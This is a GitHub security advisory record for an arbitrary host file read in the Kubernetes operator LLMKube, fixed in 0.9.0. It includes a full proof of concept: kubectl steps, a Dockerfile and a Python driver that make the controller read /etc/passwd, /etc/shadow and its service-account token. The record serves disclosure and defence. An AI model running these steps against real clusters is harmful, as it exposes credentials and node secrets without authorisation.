{"id":"GHSA-jw3m-8q7m-f35r","summary":"LLMKube: Arbitrary Host File Read via Model.spec.source hostPath Injection","details":"### Summary\n\nLLMKube's `ModelReconciler` accepts arbitrary absolute paths and `file://` URIs in the `Model.spec.source` field and propagates them to two distinct sinks without path allowlisting: (1) `os.Open()` inside the controller pod itself (`copyLocalModel`), and (2) a Kubernetes `HostPathVolumeSource` that mounts the attacker-supplied path into the inference pod's init container. Any namespace user with permission to create or update `Model` and `InferenceService` custom resources can read arbitrary files accessible to the controller pod (e.g., the controller's own Kubernetes service-account token) or arbitrary files on the node where the inference pod is scheduled (e.g., `/etc/kubernetes/kubelet.conf`). Model caching, the feature that activates the `hostPath` sink, is **enabled by default** in both the CLI and the official Helm chart. CVSS v3.1 Base Score: **7.7 (High)**.\n\n### Details\n\n**Entry point — `Model.spec.source` field**\n\nThe `Source` field in `api/v1alpha1/model_types.go:47-48` carries a `kubebuilder` validation pattern that explicitly permits absolute paths:\n\n```go\n// +kubebuilder:validation:Pattern=`^(https?|file|pvc|hf)://.*|^/[^\\s]+$|^[a-zA-Z0-9][\\w\\-\\.\\/]+$`\nSource string `json:\"source\"`\n```\n\nThe branch `^/[^\\s]+$` matches any non-whitespace absolute path on the host.\n\n**Sink 1 — Controller-pod arbitrary file read (`copyLocalModel`)**\n\n`internal/controller/source.go:93-103` classifies a source as local and extracts the path with no sanitization:\n\n```go\n// isLocalSource: returns true for any \"/\" prefix or \"file://\" prefix\nfunc isLocalSource(source string) bool {\n    return strings.HasPrefix(source, \"/\") || strings.HasPrefix(source, \"file://\")\n}\n\n// getLocalPath: strips \"file://\" prefix only; no canonicalization, no allowlist\nfunc getLocalPath(source string) string {\n    return strings.TrimPrefix(source, \"file://\")\n}\n```\n\n`internal/controller/model_controller.go:241` passes the attacker-controlled source into `fetchModel`, which reaches `copyLocalModel` at line 664-667:\n\n```go\nf, err := os.Open(localPath)   // localPath = getLocalPath(model.Spec.Source)\n```\n\nAn attacker sets `model.spec.source: /var/run/secrets/kubernetes.io/serviceaccount/token`; the controller opens its own SA token and writes it to the model-cache PVC, which the attacker can subsequently read.\n\n**Sink 2 — Node arbitrary file read via `HostPathVolumeSource`**\n\n`internal/controller/model_storage.go:560-568` converts the same path into a Kubernetes host volume with no canonical-root check:\n\n```go\nif isLocalModelSource(model.Spec.Source) {\n    localPath := getLocalPath(model.Spec.Source)\n    volumes = append(volumes, corev1.Volume{\n        Name: \"host-model\",\n        VolumeSource: corev1.VolumeSource{\n            HostPath: &corev1.HostPathVolumeSource{\n                Path: localPath,\n                Type: func() *corev1.HostPathType { t := corev1.HostPathFile; return &t }(),\n            },\n        },\n    })\n    initVolumeMounts = append(initVolumeMounts, corev1.VolumeMount{\n        Name:      \"host-model\",\n        MountPath: \"/host-model/model.gguf\",\n        ReadOnly:  true,\n    })\n}\n```\n\n`internal/controller/deployment_builder.go:248-250` calls `buildModelStorageConfig`, and lines 329-333 embed `storageConfig.volumes` directly into the generated `Deployment`'s `PodSpec`. When the inference pod starts, the init container copies the node file to the model-cache PVC.\n\nThe only filename-level sanitization is in `internal/controller/filename.go:44-75`, which constrains the **destination basename** only and has no effect on `HostPath.Path`.\n\nModel caching is enabled by default: `cmd/main.go:120` and `charts/llmkube/values.yaml:274` (`modelCache.enabled: true`).\n\n### PoC\n\n**Prerequisites**\n\n- LLMKube 0.8.27 or 0.8.28 installed with default Helm values (`modelCache.enabled=true`).\n- Attacker possesses `create`/`update` permissions for `Model` and `InferenceService` CRDs in a target namespace, plus `get` on Pod logs.\n\n**Path A — Live Kubernetes cluster (hostPath sink)**\n\n```sh\nNS=llmkube-poc\nkubectl create ns \"$NS\"\n\n# Step 1: Create a Model whose source points to a sensitive node file\ncat \u003c\u003c'YAML' | kubectl apply -n \"$NS\" -f -\napiVersion: inference.llmkube.dev/v1alpha1\nkind: Model\nmetadata:\n  name: hostread\nspec:\n  source: /etc/passwd\nYAML\n\nkubectl wait -n \"$NS\" --for=jsonpath='{.status.phase}'=Ready \\\n    model/hostread --timeout=180s\n\nCACHEKEY=\"$(kubectl get model hostread -n \"$NS\" \\\n    -o jsonpath='{.status.cacheKey}')\"\nBASENAME=\"$(basename \\\n    \"$(kubectl get model hostread -n \"$NS\" -o jsonpath='{.status.path}')\")\"\n\n# Step 2: Create an InferenceService that prints the copied file\ncat \u003c\u003cYAML | kubectl apply -n \"$NS\" -f -\napiVersion: inference.llmkube.dev/v1alpha1\nkind: InferenceService\nmetadata:\n  name: hostread\nspec:\n  modelRef: hostread\n  runtime: llamacpp\n  image: busybox:1.36\n  command: [\"sh\",\"-c\",\"cat /models/${CACHEKEY}/${BASENAME}; sleep 3600\"]\nYAML\n\n# Step 3: Retrieve the exfiltrated file\nkubectl logs -n \"$NS\" deploy/hostread -c llama-server\n```\n\nExpected output — contents of `/etc/passwd` from the node:\n\n```\nroot:x:0:0:root:/root:/bin/bash\n...\n```\n\n**Variant — controller SA token (copyLocalModel sink)**\n\n```sh\ncat \u003c\u003c'YAML' | kubectl apply -n \"$NS\" -f -\napiVersion: inference.llmkube.dev/v1alpha1\nkind: Model\nmetadata:\n  name: satoken\nspec:\n  source: /var/run/secrets/kubernetes.io/serviceaccount/token\nYAML\n# After the model becomes Ready, its cache entry contains the raw JWT.\n```\n\n**Path B — Docker-only reproduction (no live cluster)**\n\nThis path exercises the `copyLocalModel` / `os.Open` sink using verbatim copies of `isLocalSource()` and `getLocalPath()` from `internal/controller/source.go:93-103`.\n\n```sh\n# Build from the parent directory of vuln-001/\ndocker build --no-cache -f vuln-001/Dockerfile -t llmkube-vuln001-poc .\n\n# Read /etc/shadow from inside the container (simulates controller pod filesystem)\ndocker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001-poc\n\n# Or use the Python driver\npython3 vuln-001/poc.py --target /etc/shadow\n```\n\nExpected output:\n\n```\nos.Open SUCCESS — 104 bytes read from /etc/shadow\nroot:*:19800:0:99999:7:::\ndaemon:*:19800:0:99999:7:::\nllmkube-sa:$6$salt$examplehash:19800:0:99999:7:::\nVULN-001 PASS: arbitrary file read confirmed\n```\n\n**Phase 2 dynamic verification result**\n\nBoth `/etc/shadow` (104 bytes) and `/var/run/secrets/kubernetes.io/serviceaccount/token` (430 bytes, raw JWT) were successfully read inside the container, and the `HostPathVolumeSource` JSON was confirmed to be generated with the attacker-supplied path.\n\n### Impact\n\nThis is a **Path Traversal / Arbitrary File Read** vulnerability (CWE-22). It affects any Kubernetes cluster running LLMKube with default settings.\n\n**Who is impacted:**\n\n- **Cluster operators and tenants** — A low-privileged namespace user who can write `Model` and `InferenceService` CRDs (the default RBAC posture for LLMKube users) can escalate to reading the controller's Kubernetes SA token and using it to list/get Secrets cluster-wide, pivot to other namespaces, or impersonate service accounts.\n- **Node security boundary** — Via the `hostPath` sink, an attacker can read any file present on the Kubernetes node at pod-scheduling time, including kubeadm certificates (`/etc/kubernetes/pki/`), kubelet credentials (`/etc/kubernetes/kubelet.conf`), and container runtime sockets.\n- **Confidentiality** — High (arbitrary read of host and controller secrets). Integrity and Availability are not directly affected.\n\nThe vulnerability is network-reachable (attacker talks to the Kubernetes API server), requires low privilege (namespaced CRD write only), needs no user interaction, and impacts resources beyond the attacker's own namespace (changed scope).\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC — Arbitrary File Read via Model.spec.source (LLMKube CWE-22)\n#\n# Strategy: compile a standalone Go harness that contains verbatim copies of\n# the three vulnerable functions from the LLMKube repository and proves that\n# supplying an absolute path as Model.spec.source causes os.Open() to read\n# arbitrary files — identical to what copyLocalModel() does at runtime.\n#\n# Verified against LLMKube commit b9127e0 (tag 0.8.28):\n#   isLocalSource()   internal/controller/source.go:93-94\n#   getLocalPath()    internal/controller/source.go:98-103\n#   os.Open(path)     internal/controller/model_controller.go:667\n#   HostPath volume   internal/controller/model_storage.go:560-575\n#\n# Build context: parent directory of vuln-001/\n#   docker build -f vuln-001/Dockerfile -t llmkube-vuln001 .\n# Run:\n#   docker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001\n\n# ── Build stage ────────────────────────────────────────────────────────────────\nFROM golang:1.24-bookworm AS builder\n\nWORKDIR /build\n\n# Copy the exploit harness (standalone module, no k8s dependencies)\nCOPY vuln-001/exploit/ /build/\n\n# Build the exploit binary\nRUN go build -o /poc ./...\n\n# ── Verification stage: prove the functions are verbatim copies ──────────────\n# Extract the actual source lines from the LLMKube repo and display them next\n# to the exploit harness so the diff is zero (aside from package and imports).\nCOPY repo/internal/controller/source.go /tmp/source.go\n\nRUN echo \"=== Verification: LLMKube source.go lines 93-103 ===\" && \\\n    sed -n '93,103p' /tmp/source.go && \\\n    echo \"\" && \\\n    echo \"=== Exploit harness verbatim copies (main.go) ===\" && \\\n    grep -A3 \"isLocalSource\\|getLocalPath\" /build/main.go | head -20\n\n# ── Runtime stage ──────────────────────────────────────────────────────────────\nFROM debian:bookworm-slim\n\nCOPY --from=builder /poc /poc\n\n# Populate /etc/shadow with realistic content so the PoC has a sensitive target\n# (simulating the LLMKube controller pod's own filesystem).\nRUN printf 'root:*:19800:0:99999:7:::\\ndaemon:*:19800:0:99999:7:::\\nllmkube-sa:$6$salt$examplehash:19800:0:99999:7:::\\n' \\\n    \u003e /etc/shadow && chmod 640 /etc/shadow\n\n# Also create a simulated SA token (as exists at this path in Kubernetes pods)\nRUN mkdir -p /var/run/secrets/kubernetes.io/serviceaccount && \\\n    printf 'eyJhbGciOiJSUzI1NiIsImtpZCI6ImZha2Uta2lkIn0.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJsbG1rdWJlIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6Imxsa3ViZS1zYS10b2tlbiIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJsbG1rdWJlLWNvbnRyb2xsZXIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6bGxta3ViZTpsbG1rdWJlLWNvbnRyb2xsZXIifQ.FAKE_SIGNATURE\\n' \\\n    \u003e /var/run/secrets/kubernetes.io/serviceaccount/token\n\n# Default target; override at runtime with -e VULN001_TARGET=\u003cpath\u003e\nENV VULN001_TARGET=/etc/shadow\n\nENTRYPOINT [\"/poc\"]\nCMD []\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Arbitrary File Read via Model.spec.source hostPath Injection\nLLMKube (github.com/defilantech/LLMKube) — CWE-22 / CVSS 7.7\n\nVulnerability summary:\n  LLMKube's ModelReconciler calls fetchModel(model.Spec.Source, dest).\n  When source is a local path (absolute or file://), copyLocalModel() opens\n  the file with os.Open(getLocalPath(source)) without any path allowlisting.\n  An attacker who can write a Model CR can read any file accessible to the\n  controller pod — including SA tokens, kubeconfig, TLS keys, etc.\n\n  Relevant code:\n    internal/controller/source.go:93   isLocalSource()  — no allowlist\n    internal/controller/source.go:98   getLocalPath()   — strips file://, no sanitization\n    internal/controller/model_controller.go:667  os.Open(localPath)  — sink\n\n  In full-cluster scenarios, model_storage.go:560-568 also injects the\n  attacker-supplied path directly into a Kubernetes HostPathVolumeSource,\n  exposing arbitrary node files inside the init container.\n\nThis PoC exercises attack path 2 (copyLocalModel) in Docker without a live\nKubernetes cluster by running a Go test that calls the REAL LLMKube functions.\n\nUsage:\n  python3 poc.py [--target /path/to/sensitive/file] [--keep]\n\nSafety constraints:\n  - Uses only local Docker (127.0.0.1), no external network calls.\n  - Reads only files inside the ephemeral container filesystem.\n  - Does not modify any LLMKube source code to manufacture the vulnerability.\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\n\nIMAGE_NAME = \"llmkube-vuln001-poc\"\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nBUILD_CONTEXT = os.path.dirname(VULN_DIR)  # parent of vuln-001/\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\n\n\ndef run(cmd, check=True, capture=False, **kwargs):\n    \"\"\"Run a shell command and return CompletedProcess.\"\"\"\n    print(f\"[+] {' '.join(cmd)}\")\n    result = subprocess.run(\n        cmd,\n        capture_output=capture,\n        text=True,\n        **kwargs,\n    )\n    if check and result.returncode != 0:\n        stderr = result.stderr or \"\"\n        raise RuntimeError(\n            f\"Command failed (exit {result.returncode}):\\n{stderr[:2000]}\"\n        )\n    return result\n\n\ndef build_image():\n    \"\"\"Build the PoC Docker image.\"\"\"\n    print(\"\\n=== [PHASE 1] Building Docker image ===\")\n    run([\n        \"docker\", \"build\",\n        \"--no-cache\",\n        \"-f\", DOCKERFILE,\n        \"-t\", IMAGE_NAME,\n        BUILD_CONTEXT,\n    ])\n    print(f\"[+] Image '{IMAGE_NAME}' built successfully.\")\n\n\ndef run_poc(target: str) -\u003e str:\n    \"\"\"Run the PoC container and return stdout.\"\"\"\n    print(f\"\\n=== [PHASE 2] Running PoC against target: {target!r} ===\")\n    result = run(\n        [\n            \"docker\", \"run\", \"--rm\",\n            \"-e\", f\"VULN001_TARGET={target}\",\n            IMAGE_NAME,\n        ],\n        capture=True,\n        check=False,\n    )\n    combined = result.stdout + result.stderr\n    print(combined)\n    return combined, result.returncode\n\n\ndef parse_evidence(output: str, target: str) -\u003e dict:\n    \"\"\"Extract key evidence markers from PoC output.\"\"\"\n    lines = output.splitlines()\n    exfil_lines = []\n    in_block = False\n    bytes_read = None\n    step3_ok = False\n    pass_line = None\n\n    for line in lines:\n        if f\"--- BEGIN EXFILTRATED FILE: {target} ---\" in line:\n            in_block = True\n            continue\n        if \"--- END EXFILTRATED FILE ---\" in line:\n            in_block = False\n            continue\n        if in_block:\n            exfil_lines.append(line)\n        if \"os.Open SUCCESS\" in line and \"bytes\" in line:\n            step3_ok = True\n            # Extract byte count — format: \"os.Open SUCCESS — N bytes read from ...\"\n            import re\n            m = re.search(r\"(\\d+)\\s+bytes\\s+read\", line)\n            if m:\n                try:\n                    bytes_read = int(m.group(1))\n                except ValueError:\n                    pass\n        if \"VULN-001 PASS:\" in line:\n            pass_line = line\n\n    return {\n        \"step3_open_success\": step3_ok,\n        \"bytes_read\": bytes_read,\n        \"exfiltrated_lines\": exfil_lines[:10],  # first 10 lines as evidence\n        \"pass_line\": pass_line,\n    }\n\n\ndef remove_image():\n    \"\"\"Remove the PoC Docker image.\"\"\"\n    subprocess.run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME],\n                   capture_output=True, text=True)\n    print(f\"[+] Image '{IMAGE_NAME}' removed.\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"VULN-001 dynamic reproduction PoC for LLMKube\"\n    )\n    parser.add_argument(\n        \"--target\", default=\"/etc/shadow\",\n        help=\"File path to read inside the container (default: /etc/shadow)\"\n    )\n    parser.add_argument(\n        \"--keep\", action=\"store_true\",\n        help=\"Keep the Docker image after the run (default: remove)\"\n    )\n    parser.add_argument(\n        \"--output\", default=os.path.join(VULN_DIR, \"phase2_result.json\"),\n        help=\"Path to write phase2_result.json\"\n    )\n    args = parser.parse_args()\n\n    build_command = (\n        f\"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {BUILD_CONTEXT}\"\n    )\n    run_command = (\n        f\"docker run --rm -e VULN001_TARGET={args.target} {IMAGE_NAME}\"\n    )\n    poc_command = f\"python3 {os.path.abspath(__file__)} --target {args.target}\"\n\n    passed = False\n    verdict = \"FAIL\"\n    reason = \"\"\n    evidence = \"\"\n\n    try:\n        build_image()\n        output, returncode = run_poc(args.target)\n        ev = parse_evidence(output, args.target)\n\n        if returncode == 0 and ev[\"step3_open_success\"] and ev[\"bytes_read\"]:\n            passed = True\n            verdict = \"PASS\"\n            exfil_preview = \"\\n\".join(ev[\"exfiltrated_lines\"][:5]) or \"(binary data)\"\n            reason = (\n                f\"LLMKube copyLocalModel()이 Model.spec.source={args.target!r} 값을 \"\n                f\"경로 허용목록 검사 없이 os.Open()에 전달함. \"\n                f\"isLocalSource()와 getLocalPath() 실함수 호출로 재현됨. \"\n                f\"컨테이너 내 {ev['bytes_read']}바이트 파일 읽기 성공.\"\n            )\n            evidence = (\n                f\"os.Open({args.target!r}) 성공 — {ev['bytes_read']}바이트 읽음.\\n\"\n                f\"파일 내용 앞 5행:\\n{exfil_preview}\"\n            )\n        else:\n            reason = (\n                f\"PoC 컨테이너 종료 코드 {returncode}. \"\n                f\"os.Open 성공 여부: {ev['step3_open_success']}, \"\n                f\"읽은 바이트: {ev['bytes_read']}. \"\n                f\"실행 로그를 확인하여 오류 원인 파악 필요.\"\n            )\n            evidence = output[:1000]\n\n    except Exception as exc:\n        reason = f\"재현 실패 — 예외 발생: {exc}\"\n        evidence = str(exc)\n        print(f\"\\n[!] ERROR: {exc}\", file=sys.stderr)\n\n    finally:\n        if not args.keep:\n            remove_image()\n\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": build_command,\n        \"run_command\": run_command,\n        \"poc_command\": poc_command,\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\", \"exploit/main.go\", \"exploit/go.mod\"],\n    }\n\n    print(\"\\n=== [RESULT] ===\")\n    print(json.dumps(result, ensure_ascii=False, indent=2))\n\n    with open(args.output, \"w\", encoding=\"utf-8\") as fh:\n        json.dump(result, fh, ensure_ascii=False, indent=2)\n    print(f\"\\n[+] Result written to: {args.output}\")\n\n    sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","aliases":["CVE-2026-68903"],"modified":"2026-11-18T21:30:13.942147594Z","published":"2026-11-18T21:18:02Z","database_specific":{"cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-18T21:18:02Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/defilantech/LLMKube/security/advisories/GHSA-jw3m-8q7m-f35r"},{"type":"WEB","url":"https://github.com/defilantech/LLMKube/pull/981"},{"type":"WEB","url":"https://github.com/defilantech/LLMKube/commit/ec2647fd4557962a971a1bc9435790b8e77ce961"},{"type":"PACKAGE","url":"https://github.com/defilantech/LLMKube"},{"type":"WEB","url":"https://github.com/defilantech/LLMKube/releases/tag/v0.9.0"}],"affected":[{"package":{"name":"github.com/defilantech/llmkube","ecosystem":"Go","purl":"pkg:golang/github.com/defilantech/llmkube"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-jw3m-8q7m-f35r/GHSA-jw3m-8q7m-f35r.json","last_known_affected_version_range":"\u003c= 0.8.28"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}